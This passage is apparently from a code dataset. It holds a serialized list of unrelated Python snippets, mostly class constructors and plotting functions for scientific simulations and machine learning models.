='.', label = 'sNMF(0.5,1)')\n plt.plot(x, result4[:mx], 'k', marker = '.', label = 'cvx-NMF')\n \"\"\"\n plt.legend(bbox_to_anchor=[1,1])\n plt.grid()\n plt.show()\n\n #plot the clustering result\n plt1 = plt\n plt1.subplot(221)\n plt1.plot(G[:,0], G[:,1], 'ro')\n plt1.title(u'the distribution of items(knmf({}))'.format(labs[0]))\n #items = zip(sample, G)\n #for item in items:\n # item_name, item_data = item[0], item[1]\n # plt1.text(item_data[0], item_data[1], item_name,\n # horizontalalignment='center',\n # verticalalignment='top')\n\n plt1.subplot(222)\n plt1.plot(G1[:,0], G1[:,1], 'bo')\n\n plt1.title(u'the distribution of items(knmf({}))'.format(labs[1]))\n\n #items = zip(sample, G1)\n #for item in items:\n # item_name, item_data = item[0], item[1]\n # plt1.text(item_data[0], item_data[1], item_name,\n # horizontalalignment='center',\n # verticalalignment='top')\n\n plt1.subplot(223)\n plt1.plot(G2[:,0], G2[:,1], 'co')\n plt1.title(u'the distribution of items((knmf({}))'.format(labs[2]))\n #items = zip(sample, G4)\n #for item in items:\n # item_name, item_data = item[0], item[1]\n # plt1.text(item_data[0], item_data[1], item_name,\n # horizontalalignment='center',\n # verticalalignment='top')\n\n plt1.subplot(224)\n plt1.plot(G3[:,0], G3[:,1], 'mo')\n plt1.title(u'the distribution of items(convex-nmf))')\n #items = zip(sample, G2)\n #for item in items:\n # item_name, item_data = item[0], item[1]\n # plt1.text(item_data[0], item_data[1], item_name,\n # horizontalalignment='center',\n # verticalalignment='top')\n\n plt1.show()","def __init__(self, **kwargs):\n GaussBeam.__init__(self, **kwargs)\n self.scale = kwargs.get('scale',10.)\n self.mass = kwargs.get('mass', 6.0)\n self.s0 = kwargs.get('s0', 7.0)\n self.retro = kwargs.get('retro', 1.0)\n self.alpha = kwargs.get('alpha', 1.0)\n self.Er0 = Erecoil( self.l , self.mass) \n self.mW = 1000 * (self.s0 * self.Er0 ) \\\n * np.abs( np.pi / 8. / uL(self.l) )\\\n * self.w[0]*self.w[1] / self.retro","def __init__(self):\n self.eps = 1e-5\n self.use_global_stats = True\n self.workspace = 512\n self.units = (3, 4, 23, 3) # use for 101\n self.filter_list = [256, 512, 1024, 2048]","def __init__(self, data, pixscale = 7.77/43):\n self.data = data\n self.pixscale = pixscale","def __init__(self, size, parameters):\n\n self.weights = self.init_weights(size)\n self.alpha = parameters['alpha']\n self.epsilon = parameters['epsilon']\n self.gamma = parameters['gamma']\n self.value = 0.0 #np.random.random()","def figure_10_12_b():\n xs = np.arange(-6,6,0.1)\n plt.plot(xs,sigmoid(xs))\n x=2.5\n plt.scatter(x,sigmoid(x))\n plt.plot(xs,logistic_lower_bound(xs,x))\n plt.show()","def __init__(self, alpha = 1.0): \n self.alpha = alpha","def __init__(self):\r\n\r\n self.maxid = 0\r\n self.alphas = { 0 : {}, 1 : {}, 2 : {} }\r\n self.positions = {}","def learning_rate_range():\n # Lower and upper bounds\n #######\n lower_bound = 0.1 \n upper_bound = 1e-6\n #######\n return lower_bound, upper_bound","def __init__(self, **kwargs):\n\n self.path = kwargs['path']\n self.prefix = kwargs['prefix']\n self.num_points = kwargs['num_points']\n self.blur_radius = kwargs['blur_radius']\n self.num_colors = kwargs['num_colors']","def __init__(self,Nx=24,Ny=24,kx0=-pi/3.,ky0=0.,kxmax=pi,kymax=2.*pi/np.sqrt(3.)):\n self.Nx=Nx\n self.Ny=Ny\n self.kx0=kx0\n self.ky0=ky0\n self.kxmax=kxmax\n self.kymax=kymax\n self.dkx=(kxmax-kx0)/float(Nx)\n self.dky=(kymax-ky0)/float(Ny)","def __init__(self, min_lr=1e-5, max_lr=1, epochs=1, use_plotly=True):\n super().__init__()\n\n self.min_lr = min_lr\n self.max_lr = max_lr\n self.epochs = epochs\n self.use_plotly = use_plotly\n\n self.scheduler = None\n self.gamma = 0\n self.history = {}","def __init__(self, dimensions, lower=0.0, upper=1.0, name=None):\n super().__init__((dimensions,), name=name)\n self.dimensions = dimensions\n self.lower = lower\n self.upper = upper","def continuous_model():\n return {\"x\": np.random.beta(2, 5, size=100), \"y\": np.random.beta(2, 5, size=100)}","def __init__(self, dm, h):\n super().__init__()\n self.h = h\n self.dm = dm\n\n self.depth = dm // h\n\n self.Wq = tf.keras.layers.Dense(dm)\n self.Wk = tf.keras.layers.Dense(dm)\n self.Wv = tf.keras.layers.Dense(dm)\n\n self.linear = tf.keras.layers.Dense(dm)","def __init__(\n self,\n height=20,\n width=20,\n initial_sheep=100,\n initial_wolves=50,\n sheep_reproduce=0.04,\n wolf_reproduce=0.05,\n wolf_gain_from_food=20,\n grass=False,\n grass_regrowth_time=30,\n sheep_gain_from_food=4,\n trees_carrots_ratio=0.5,\n YEAR=20,\n nb_of_hunters=0,\n ):\n super().__init__()\n # Set parameters\n self.height = height\n self.width = width\n self.initial_sheep = initial_sheep\n self.initial_wolves = initial_wolves\n self.sheep_reproduce = sheep_reproduce\n self.wolf_reproduce = wolf_reproduce\n self.wolf_gain_from_food = wolf_gain_from_food\n self.grass = grass\n self.grass_regrowth_time = grass_regrowth_time\n self.sheep_gain_from_food = sheep_gain_from_food\n self.trees_carrots_ratio = trees_carrots_ratio\n self.YEAR = YEAR\n self.nb_of_hunters = nb_of_hunters\n\n self.schedule = RandomActivationByBreed(self) # classe contenant un dictionnaire des types d'agents et agents existants par type, avec une ordre d'activation possible\n self.grid = MultiGrid(self.height, self.width, torus=True)\n self.datacollector = DataCollector(\n {\n \"Fox\": lambda m: m.schedule.get_breed_count(Predator),\n \"Rabbit\": lambda m: m.schedule.get_breed_count(Prey),\n }\n )\n\n # Create sheep:\n for i in range(self.initial_sheep):\n x = self.random.randrange(self.width)\n y = self.random.randrange(self.height)\n age = self.random.randrange(3*self.YEAR)\n energy = self.random.randrange( int(self.sheep_gain_from_food/2), 2 * self.sheep_gain_from_food)\n sheep = Prey(self.next_id(), (x, y), self, True, energy, age)\n self.grid.place_agent(sheep, (x, y))\n self.schedule.add(sheep)\n\n # Create wolves\n for i in range(self.initial_wolves):\n x = self.random.randrange(self.width)\n y = self.random.randrange(self.height)\n age = self.random.randrange(4*self.YEAR)\n energy = self.random.randrange(int(self.wolf_gain_from_food/2), 2 * self.wolf_gain_from_food)\n wolf = Predator(self.next_id(), (x, y), self, True, energy, age)\n self.grid.place_agent(wolf, (x, y))\n self.schedule.add(wolf)\n\n # Create grass patches\n if self.grass:\n for agent, x, y in self.grid.coord_iter():\n if self.trees_carrots_ratio < self.random.random(): # aléatoire du nombre d'arbres et de carottes\n fully_grown = self.random.choice([True, False])\n if fully_grown: # carottes ou pousses de carotes\n countdown = self.grass_regrowth_time\n else:\n countdown = self.random.randrange(self.grass_regrowth_time)\n plant = Plant(self.next_id(), (x, y), self, fully_grown, countdown)\n else:\n plant = Tree(self.next_id(), (x, y), self)\n self.grid.place_agent(plant, (x, y))\n self.schedule.add(plant)\n\n # create hunters\n for i in range(self.nb_of_hunters):\n x = self.random.randrange(self.width-13, self.width-7) # HUNTERMODIF\n y = self.random.randrange(self.height-13, self.height-7) # HUNTERMODIF\n hunter = Hunter(self.next_id(), (x, y), self)\n self.grid.place_agent(hunter, (x, y))\n self.schedule.add(hunter)\n\n self.running = True\n self.datacollector.collect(self)","def __init__(self, n_pixels=(250,150),\n submarine=None,\n air_velocity=0.1,\n water_velocity=1.0,\n rock_velocity=10.0,\n **kwargs):\n\n GeneratedGalleryModel.__init__(self)\n\n self.air_velocity = air_velocity\n self.water_velocity = water_velocity\n self.rock_velocity = rock_velocity\n\n if len(n_pixels) not in [2,3]:\n raise ValueError('Submarine-sonar model only works for dimensions greater than 1.')\n\n if submarine is None:\n if len(n_pixels) == 2:\n submarine = default_submarine_2D\n else: # len(n_pixels) == 3\n submarine = default_submarine_3D\n self.submarine = submarine\n\n config_list = list()\n\n # Configure X direction\n x_lbc = kwargs['x_lbc'] if ('x_lbc' in list(kwargs.keys())) else PML(0.1, 100.0)\n x_rbc = kwargs['x_rbc'] if ('x_rbc' in list(kwargs.keys())) else PML(0.1, 100.0)\n\n xmin, xmax = 0.0, 2.5\n x_config = (xmin, xmax, x_lbc, x_rbc)\n config_list.append(x_config)\n\n\n if len(n_pixels) == 3:\n\n # If it is there, configure Y direction\n y_lbc = kwargs['y_lbc'] if ('y_lbc' in list(kwargs.keys())) else PML(0.1, 100.0)\n y_rbc = kwargs['y_rbc'] if ('y_rbc' in list(kwargs.keys())) else PML(0.1, 100.0)\n\n ymin, ymax = 0.0, 2.5\n y_config = (ymin, ymax, y_lbc, y_rbc)\n config_list.append(y_config)\n\n # Configure Z direction\n z_lbc = kwargs['z_lbc'] if ('z_lbc' in list(kwargs.keys())) else PML(0.1, 100.0)\n z_rbc = kwargs['z_rbc'] if ('z_rbc' in list(kwargs.keys())) else PML(0.1, 100.0)\n\n zmin, zmax = 0.0, 1.5\n z_config = (zmin, zmax, z_lbc, z_rbc)\n config_list.append(z_config)\n\n domain = RectangularDomain(*config_list)\n\n mesh_args = [domain] + list(n_pixels)\n mesh = CartesianMesh(*mesh_args)\n\n\n self._mesh = mesh\n self._domain = mesh.domain\n\n # Set _initial_model and _true_model\n self.rebuild_models()","def main():\n # Load properties that will be needed\n store = [Storage.Storage(2), Storage.Storage(4)] \n pre_energy = [s.get(\"free_energy\") for s in store]\n post_energy = [s.get(\"post_energy\") for s in store]\n x_range = store[0].get(\"x_range\")\n xlocs = np.arange(x_range[0], x_range[1], x_range[2])\n y_range = store[0].get(\"y_range\")\n ylocs = np.arange(y_range[0], y_range[1], y_range[2])\n # Calculate step size\n xb2steps = stepsize(pre_energy[0], post_energy[0], xlocs) \n xb4steps = stepsize(pre_energy[1], post_energy[1], xlocs) \n # Set up the figure\n fig = plt.figure(1, figsize=(7.5,2.5)) \n axe = (fig.add_subplot(1, 2, 1), fig.add_subplot(1, 2, 2))\n # Plot the results\n axe[0].plot(ylocs, xb4steps, color='#FF466F', lw=4)\n axe[1].plot(ylocs, xb2steps, color='#76D753', lw=4)\n # Annotate the plots\n axe[0].set_title(\"4sXB step size\")\n axe[0].set_xlabel(\"Lattice spacing (nm)\") \n axe[0].set_ylabel(\"Step size (nm)\")\n axe[0].set_xlim((25.5, 39))\n axe[0].set_ylim((1, 8))\n axe[1].set_title(\"2sXB step size\")\n axe[1].set_xlabel(\"Lattice spacing (nm)\") \n axe[1].set_ylabel(\"Step size (nm)\")\n axe[1].set_xlim((25.5, 39))\n axe[1].set_ylim((1, 8))\n # Display the plots\n fig.subplots_adjust(wspace=0.25, hspace=0.48,\n left=0.08, right=0.98,\n top=0.85, bottom=0.21)\n plt.show()","def __init__(self):\n super().__init__()\n self.location = 0.0\n self.scale = 1.0\n self.type = 'Logistic'\n self.distType = 'Continuous'\n self.hasInfiniteBound = True\n self.compatibleQuadrature.append('CDF')\n self.preferredQuadrature = 'CDF'\n self.preferredPolynomials = 'CDF'","def __init__(self, config, xtdim, batch_size):\n self.float_type = 'float32' # This should be the default\n self.config = config\n self.dt = self.config['dt']\n\n self.n_input = self.config['n_input']\n self.n_output = self.config['n_output']\n\n self.batch_size = batch_size\n self.xtdim = xtdim\n\n # time major\n self.x = np.zeros((xtdim, batch_size, self.n_input), dtype=self.float_type)\n self.y = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\n self.cost_mask = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\n # strength of input noise\n self._sigma_x = config['sigma_x'] * math.sqrt(2./self.config['alpha'])\n\n if config['rule_name'] == 'timed_spatial_reproduction_broad_tuning' \\\n or config['rule_name'] == 'spatial_reproduction_broad_tuning':\n self.n_guassianline = 32 + 12\n self.sd_gaussianline = 4.\n else:\n self.n_guassianline = 32\n self.sd_gaussianline = 2.\n\n self.pref_line_gaussian = np.arange(0, self.n_guassianline)","def __init__(self, x, y, input_len, sigma=1.0, learning_rate=0.5,\n decay_function=asymptotic_decay,\n neighborhood_function='gaussian', topology='rectangular',\n activation_distance='euclidean', random_seed=None):\n if sigma >= x or sigma >= y:\n warn('Warning: sigma is too high for the dimension of the map.')\n\n self._random_generator = random.RandomState(random_seed)\n\n self._learning_rate = learning_rate\n self._sigma = sigma\n self._input_len = input_len\n # random initialization\n self._weights = self._random_generator.rand(x, y, input_len)*2-1\n self._weights /= linalg.norm(self._weights, axis=-1, keepdims=True)\n\n self._activation_map = zeros((x, y))\n self._neigx = arange(x)\n self._neigy = arange(y) # used to evaluate the neighborhood function\n\n if topology not in ['hexagonal', 'rectangular']:\n msg = '%s not supported only hexagonal and rectangular available'\n raise ValueError(msg % topology)\n self.topology = topology\n self._xx, self._yy = meshgrid(self._neigx, self._neigy)\n self._xx = self._xx.astype(float)\n self._yy = self._yy.astype(float)\n if topology == 'hexagonal':\n self._xx[::-2] -= 0.5\n if neighborhood_function in ['triangle']:\n warn('triangle neighborhood function does not ' +\n 'take in account hexagonal topology')\n\n self._decay_function = decay_function\n\n neig_functions = {'gaussian': self._gaussian,\n 'mexican_hat': self._mexican_hat,\n 'bubble': self._bubble,\n 'triangle': self._triangle}\n\n if neighborhood_function not in neig_functions:\n msg = '%s not supported. Functions available: %s'\n raise ValueError(msg % (neighborhood_function,\n ', '.join(neig_functions.keys())))\n\n if neighborhood_function in ['triangle',\n 'bubble'] and (divmod(sigma, 1)[1] != 0\n or sigma < 1):\n warn('sigma should be an integer >=1 when triangle or bubble' +\n 'are used as neighborhood function')\n\n self.neighborhood = neig_functions[neighborhood_function]\n\n distance_functions = {'euclidean': self._euclidean_distance,\n 'cosine': self._cosine_distance,\n 'manhattan': self._manhattan_distance,\n 'chebyshev': self._chebyshev_distance}\n\n if isinstance(activation_distance, str):\n if activation_distance not in distance_functions:\n msg = '%s not supported. Distances available: %s'\n raise ValueError(msg % (activation_distance,\n ', '.join(distance_functions.keys())))\n\n self._activation_distance = distance_functions[activation_distance]\n elif callable(activation_distance):\n self._activation_distance = activation_distance","def __init__(self,world,renderer,a,b,x,y,ang,mode=0):\r\n\t\tself.world = world\r\n\t\tself.renderer = renderer\r\n\t\tself.a = a\r\n\t\tself.b = b\r\n\t\tself.x = x\r\n\t\tself.x_tgt = x\r\n\t\tself.y = y\r\n\t\tself.y_tgt = y\r\n\t\tself.ang = ang\r\n\t\tself.mode = mode\r\n\t\tself.tgt = []\r\n\t\tself.thrust_color = b2Color(1,1,1)\r\n\t\t\r\n\t\tself.__f = filter(0.9)\r\n\t\tself.__ftl = filter(0.65)\r\n\t\tself.__ftr = filter(0.65)\r\n\t\t\r\n\t\tself.AddTarget(b2Vec2(self.x,self.y))\r\n\t\tself.NextTarget()\r\n\t\t##self.__g = graph(self.renderer,45,300,10,100,100)\t\t\r\n\t\t\r\n\t\t##self.a_pid = PID(0.07, 0.00001, 0.009, 1./64., 0.5, -0.5)\r\n\t\t##self.y_pid = PID(0.5, 0.01, 0.9, 1./64., 0.3, 0)\r\n\t\t##self.x_pid = PID(0.04, 0.000001, 0.1, 1./64., 3.14/8, -3.14/8)\r\n\t\t\r\n\t\tself.__conf = config(\"config.cfg\")\r\n\t\tself.__conf.Load()\r\n\t\tif mode:\r\n\t\t\t(kp,ki,kd,dt,mi,mx)=self.__conf.Read(\"a_pid\")\r\n\t\t\tself.a_pid = PID(kp, ki, kd, dt, mx, mi, graph(self.renderer,300,10,300,100) if self.configer==0 else None)\r\n\t\t\t(kp,ki,kd,dt,mi,mx)=self.__conf.Read(\"y_pid\")\r\n\t\t\tself.y_pid = PID(kp, ki, kd, dt, mx, mi, graph(self.renderer,300,10,300,100) if self.configer==1 else None)\r\n\t\t\t(kp,ki,kd,dt,mi,mx)=self.__conf.Read(\"x_pid\")\r\n\t\t\tself.x_pid = PID(kp, ki, kd, dt, mx, mi ,graph(self.renderer,300,10,300,100) if self.configer==2 else None)\r\n\t\t\tself.thrust_color = b2Color(1,0,0.5)\r\n\t\telse:\r\n\t\t\tself.a_pid = PIDz(2.0, 0.1, 6.0, 0.5, -0.5)\r\n\t\t\tself.y_pid = PIDz(6.2, 0.2, 17.4, 0.5, 0)\r\n\t\t\tself.x_pid = PIDz(0.6, 0.02, 22, math.pi/8, -math.pi/8)\r\n\t\t\tself.thrust_color = b2Color(0,0,1)\r\n\t\t\r\n\t\trail=b2FixtureDef(\r\n\t\t\tshape=b2PolygonShape(box=(self.a,self.b)),\r\n\t\t\tdensity=0.02,\r\n\t\t\tfriction=0.1)\r\n\r\n\t\tbody=b2FixtureDef(\r\n\t\t\tshape=b2PolygonShape(box=(a/3.,a/6.,(0,a/6.),0)),\r\n\t\t\tdensity=0.10,\r\n\t\t\tfriction=0.1)\r\n\t\t#~ help(b2PolygonShape)\t\r\n\t\tself.body = self.world.CreateDynamicBody(fixtures=[rail,body], position=(self.x, self.y))","def __init__(self,\n min_level,\n max_level,\n classes=80,\n boxes_per_level=3,\n output_extras=0,\n norm_momentum=0.99,\n norm_epsilon=0.001,\n kernel_initializer=\"VarianceScaling\",\n subdivisions=8,\n kernel_regularizer=None,\n bias_regularizer=None,\n activation=None,\n smart_bias=False,\n **kwargs):\n\n super().__init__(**kwargs)\n self._min_level = min_level\n self._max_level = max_level\n\n self._key_list = [\n str(key) for key in range(self._min_level, self._max_level + 1)\n ]\n\n self._classes = classes\n self._boxes_per_level = boxes_per_level\n self._output_extras = output_extras\n\n self._output_conv = (classes + output_extras + 5) * boxes_per_level\n self._smart_bias = smart_bias\n\n self._base_config = dict(\n activation=activation,\n subdivisions=subdivisions,\n norm_momentum=norm_momentum,\n norm_epsilon=norm_epsilon,\n kernel_initializer=kernel_initializer,\n kernel_regularizer=kernel_regularizer,\n bias_regularizer=bias_regularizer)\n\n self._conv_config = dict(\n filters=self._output_conv,\n kernel_size=(1, 1),\n strides=(1, 1),\n padding=\"same\",\n use_bn=False,\n **self._base_config)","def __init__(self, samples, obs, nPlanets=0, nOffsets=0, nImportSamps=10000, scale=1.0, pRatio=1., slope=False):\n\n self.samples = samples\n self.nPlanets = nPlanets\n self.nOffsets = nOffsets\n self.nImportSamps = nImportSamps\n self.scale = scale\n self.pRatio = pRatio\n self.slope = slope\n\n param_keys, param_IS_keys = create.dict_keys(self.nPlanets, self.nOffsets, slope=self.slope)\n print(param_keys)\n print(param_IS_keys)\n postSamp, nPostSamples = create.posterior_samples_from_emcee(self.samples, param_keys)\n\n postSamp_pKhkl = compute.pKewM_to_importSamp_parameterization(postSamp, param_IS_keys, self.nPlanets)\n\n self.mediansG, self.covMatrixG, self.choleskyDecomp, self.logDetSigmaG = compute.matrix_info(postSamp_pKhkl)\n\n nParams = len(param_IS_keys)\n random_values = [ truncnorm.rvs(-self.scale, self.scale, size=nParams) for i in range(self.nImportSamps) ]\n\n samples = [ [] for i in range(self.nImportSamps) ]\n g_samples = [ [] for i in range(self.nImportSamps) ]\n loggs = [ 0. for i in range(self.nImportSamps) ]\n\n print(\"## Drawing importance samples...\")\n\n for x in range(self.nImportSamps):\n dispersion = np.dot( self.choleskyDecomp, np.transpose(random_values[x]) )\n samples[x] = self.mediansG + dispersion\n g_samples[x] = list(samples[x])\n\n diff = np.subtract(samples[x],self.mediansG)\n\n logg = -0.5 * (nParams*np.log(2.*np.pi) + self.logDetSigmaG + \\\n np.dot( np.transpose(diff), \\\n np.linalg.solve(self.covMatrixG, np.subtract(samples[x],self.mediansG) ) ) ) - \\\n nParams*np.log(erf(self.scale/np.sqrt(2.)))\n loggs[x] = logg\n\n print(\"## Done drawing importance samples!\")\n print(\"\")\n \n g_samples_T = np.transpose(g_samples)\n importSamp_dict = OrderedDict()\n\n for i, item in enumerate(g_samples_T):\n importSamp_dict[param_IS_keys[i]] = item\n\n importSamp_pKhkl_dict = compute.importSamp_parameterization_to_pKewM(importSamp_dict, param_keys, self.nPlanets, self.pRatio)\n importSamp_pKewM = np.transpose([ vals for key, vals in importSamp_pKhkl_dict.items() ])\n\n print(\"## Evaluating lnpost at importance samples...\")\n\n logPosteriors = np.array([ np.nan for i in range(self.nImportSamps) ])\n for i in range(nImportSamps):\n logPosteriors[i] = lnpost(importSamp_pKewM[i], obs, self.nPlanets, slope=self.slope)\n\n print(\"## Done evaluating lnpost!\")\n print(\"\")\n\n\n logSum = -(9.**99.)\n\n for i in range(self.nImportSamps): \n diff = logPosteriors[i] - loggs[i]\n\n logSum = np.logaddexp(logSum, diff)\n if i%1000==0:\n print(str(i+1) + \" \" + str(logSum - np.log(i+1)))\n \n self.logAvg = logSum - np.log(self.nImportSamps)\n self.f_MCMC = 0.\n\n print(\"\")\n print(\"## logAvg: \" + str(self.logAvg))\n\n postSamp_wo_keys = []\n for key in postSamp_pKhkl:\n postSamp_wo_keys.append(postSamp_pKhkl[key])\n \n postSamp_wo_keys = np.transpose(np.array(postSamp_wo_keys))\n diff = postSamp_wo_keys-self.mediansG\n\n for j in range(nPostSamples):\n\n z = np.linalg.solve(self.choleskyDecomp, diff[j])\n\n if all([abs(k)<=scale for k in z]):\n self.f_MCMC += 1.\n else:\n self.f_MCMC += 0.\n \n self.f_MCMC = self.f_MCMC/nPostSamples\n self.logFML = self.logAvg - np.log(self.f_MCMC)\n\n print(\"## f_MCMC: \" + str(self.f_MCMC))\n print(\"## logFML: \" + str(self.logFML))\n\n print(\"## FML computed!\")\n print(\"## Done!\")","def __init__(self, min: float, max: float):\n super().__init__()\n\n # store input parameters\n self.min = min\n self.max = max","def initialize_variables(self):\n super(D2Model, self).initialize_variables()\n\n s = \"::: initializing 2D variables :::\"\n print_text(s, cls=self)\n\n # Depth below sea level :\n class Depth(Expression):\n def eval(self, values, x):\n values[0] = abs(min(0, x[2]))\n self.D = Depth(element=self.Q.ufl_element())\n \n # Enthalpy model\n self.theta_surface = Function(self.Q, name='theta_surface')\n self.theta_float = Function(self.Q, name='theta_float')\n self.theta_app = Function(self.Q, name='theta_app')\n self.theta = Function(self.Q, name='theta')\n self.theta0 = Function(self.Q, name='theta0')\n self.W0 = Function(self.Q, name='W0')\n self.thetahat = Function(self.Q, name='thetahat')\n self.uhat = Function(self.Q, name='uhat')\n self.vhat = Function(self.Q, name='vhat')\n self.what = Function(self.Q, name='what')\n self.mhat = Function(self.Q, name='mhat')\n self.rho_b = Function(self.Q, name='rho_b')\n\n # Age model \n self.age = Function(self.Q, name='age')\n self.a0 = Function(self.Q, name='a0')\n\n # Surface climate model\n self.precip = Function(self.Q, name='precip')\n\n # Stokes-balance model :\n self.u_s = Function(self.Q, name='u_s')\n self.u_t = Function(self.Q, name='u_t')\n self.F_id = Function(self.Q, name='F_id')\n self.F_jd = Function(self.Q, name='F_jd')\n self.F_ib = Function(self.Q, name='F_ib')\n self.F_jb = Function(self.Q, name='F_jb')\n self.F_ip = Function(self.Q, name='F_ip')\n self.F_jp = Function(self.Q, name='F_jp')\n self.F_ii = Function(self.Q, name='F_ii')\n self.F_ij = Function(self.Q, name='F_ij')\n self.F_iz = Function(self.Q, name='F_iz')\n self.F_ji = Function(self.Q, name='F_ji')\n self.F_jj = Function(self.Q, name='F_jj')\n self.F_jz = Function(self.Q, name='F_jz')\n self.tau_iz = Function(self.Q, name='tau_iz')\n self.tau_jz = Function(self.Q, name='tau_jz')","def _getAttributes(self):\n self._params = {}\n if self.interp is not None:\n # Initialize interpolation function :\n self['x'] = np.arange(0, self.pixels, 1)\n self['y'] = np.arange(0, self.pixels, 1)\n # Define newaxis :\n self['xnew'] = np.arange(0, self.pixels, self.interp)\n self['ynew'] = np.arange(0, self.pixels, self.interp)\n self['csize'] = len(self['xnew'])\n else:\n self['csize'] = self.pixels\n # Variables :\n l = int(self['csize'] / 2)\n self['l'] = l\n y, x = np.ogrid[-l:l, -l:l]\n disc = x**2 + y**2\n self['mask'] = disc < l**2\n self['nmask'] = np.invert(self['mask'])\n # self['image'] = np.tile(self.bgcolor[np.newaxis, ...], (2*l, 2*l, 1))","def __init__(self,evo_conf,net_conf,obs_shape,action_shape):\n\n self.evo_conf = evo_conf\n self.net_conf = net_conf\n self.obs_shape = obs_shape\n self.action_shape = action_shape\n self.n_agents = self.evo_conf['n_agents']\n self.p_mut_loc = self.evo_conf['p_mut_loc']\n self.k_p_mut = self.evo_conf['k_p_mut']\n self.minval = self.evo_conf['net_minval']\n self.maxval = self.evo_conf['net_maxval']\n self.val_buffer = self.evo_conf['val_buffer']","def __init__(self, threshold=0.5, num_points=101, *args, **kwargs):\n\n self.threshold = threshold \n self.num_points = num_points\n self.IOU = IOU(average=False)\n\n self.result_dir = kwargs['result_dir']\n final_shape = kwargs['final_shape']\n #assuming model predictions are normalized between 0-1\n self.scale = torch.Tensor([1, final_shape[0], final_shape[1], final_shape[0], final_shape[1]]) #[1, height, width, height, width]\n\n self.ndata = kwargs['ndata']\n self.count = 0"],"string":"[\n \"def __init__(self, min_value=0.0, max_value=1.0, input_name=\\\"image\\\", output_name=\\\"image\\\"):\\n super().__init__(input_name=input_name, output_names=[output_name])\\n self.min_value = min_value\\n self.max_value = max_value\",\n \"def __init__(self, color=1, minsize=24, maxsize=160):\\n\\tself.color = color # default color of interest is Green\\n self.maxWidth = 60 # All lagoon areas will be reduced to a strip this wide\\n\\tself.minDim = minsize\\n self.debug = ''\\n\\tself.maxDim = maxsize\\n self.kernal = np.ones((5,5),np.uint8)\\n self.alpha = np.array([ 1.2 ])\\n self.beta = np.array([ -60 ])\\n\\tself.theta = 1\\n\\tself.phi = 1\\n\\tself.maxIntensity = 255.0\",\n \"def __init__(self):\\n self.X = None\\n self.Y = None\\n self.features = None\\n self.max = self.min = None\\n self._look_up = None\\n self.attr_weight = None\",\n \"def __init__(self) -> None:\\n self.name = \\\"minmaxScaler\\\"\\n self.min = 0\\n self.max = 0\",\n \"def plot_ratios(path='/Volumes/OptiHDD/data/pylith/3d/agu2014/output',\\n\\t\\t\\t\\tsteps=['step01','step02'],\\n\\t\\t\\t\\t#labels='',\\n\\t\\t\\t\\tshow=True,\\n\\t\\t\\t\\txscale=1e3,\\n\\t\\t\\t\\tyscale=1e-2):\\n\\tplt.figure()\\n\\t#path = '/Users/scott/Desktop/elastic'\\n\\n\\t# Deep source\\n\\t#labels = ['no APMB', 'APMB']\\n\\t#if labels == '':\\n\\tlabels = steps\\n\\tdeep = {}\\n\\t#uzmax = 0.824873455364\\n\\t# NOT sure why hardcoded...\\n\\tuzmax = 1\\n\\tfor i,outdir in enumerate(steps):\\n\\t\\tpointsFile = os.path.join(path, outdir, 'points.h5')\\n\\t\\tprint(pointsFile)\\n\\t\\tx,y,z,ux,uy,uz = pu.extract_points(pointsFile)\\n\\n\\t\\tX = x / xscale\\n\\t\\tY1 = ux / yscale\\n\\n\\t\\tx_fem = X #/ xscale #double scaling!\\n\\t\\tur_fem = Y1 #/ yscale\\n\\t\\tuz_fem = uz / yscale\\n\\n\\t\\t#print(pointsFile)\\n\\t\\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\\n\\n\\t\\t#normalize\\n\\t\\tuz_fem = uz_fem / uzmax\\n\\t\\tur_fem = ur_fem / uzmax\\n\\t\\tx_fem = x_fem / 30.0\\n\\n\\t\\tl, = plt.plot(x_fem,uz_fem,'o-',ms=4,lw=4,label=labels[i])\\n\\t\\tplt.plot(x_fem,ur_fem,'o--',ms=4,lw=4,color=l.get_color()) #mfc='none' transparent\\n\\t\\tdeep[outdir] = uz_fem/uz_fem\\n\\n\\t'''\\n\\t# Shallow Source\\n\\tshallow = {}\\n\\tuzmax = 0.949652827795\\n\\tfor i,outdir in enumerate(['step11','step12']):\\n\\t\\tpointsFile = os.path.join(path, outdir, 'points.h5')\\n\\n\\t\\tx,y,z,ux,uy,uz = pu.extract_points(pointsFile)\\n\\n\\t\\tX = x / xscale\\n\\t\\tY1 = ux / yscale\\n\\n\\t\\tx_fem = X #/ xscale #double scaling!\\n\\t\\tur_fem = Y1 #/ yscale\\n\\t\\tuz_fem = uz / yscale\\n\\n\\t\\t#print(pointsFile)\\n\\t\\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\\n\\n\\t#normalize\\n\\tuz_fem = uz_fem / uzmax\\n\\tur_fem = ur_fem / uzmax\\n\\tx_fem = x_fem / 20.0\\n\\n\\t\\tl, = plt.plot(x_fem,uz_fem,'.-', mfc='w', lw=4,label=labels[i])\\n\\t\\tplt.plot(x_fem,ur_fem,'.--',lw=4, mfc='w',color=l.get_color()) #mfc='none' transparent\\n\\n\\t\\tshallow[outdir] = uz_fem/ur_fem\\n\\t'''\\n\\n\\t# Annotate\\n\\tplt.axhline(color='k',lw=0.5)\\n\\t#plt.xlabel('Distance [{}]'.format(get_unit(xscale)))\\n\\t#plt.ylabel('Displacement [{}]'.format(get_unit(yscale)))\\n\\tplt.legend()\\n\\tplt.grid()\\n\\t#plt.ylim(-0.5, 3.5)\\n\\t#plt.savefig('deep.png',bbox_inches='tight')\\n\\t#plt.savefig('shallow.png',bbox_inches='tight')\\n\\n\\t# normalized\\n\\tplt.ylim(-0.5, 4)\\n\\tplt.xlim(0,10)\\n\\tplt.xlabel('Normalized Radial Distance [R / D]')\\n\\tplt.ylabel('Normalized Displacement [U / Uz_max]')\\n\\t#plt.savefig('normalized_deep.png',bbox_inches='tight')\\n\\tplt.savefig('normalized_shallow.png',bbox_inches='tight')\\n\\n\\n\\t# Plot ratios of uz versus NOTE: this plot is confusing,,, just keep ratio of uz_max to ur_max\\n\\t'''\\n\\tplt.figure()\\n\\tplt.plot(x_fem, deep['step01'], label='Deep no APMB')\\n\\tplt.plot(x_fem, deep['step02'], label='Deep w/ APMB')\\n\\tplt.plot(x_fem, shallow['step11'], label='Shallow no APMB')\\n\\tplt.plot(x_fem, shallow['step12'], label='Shallow w/ APMB')\\n\\tplt.xlabel('Distance [km]') 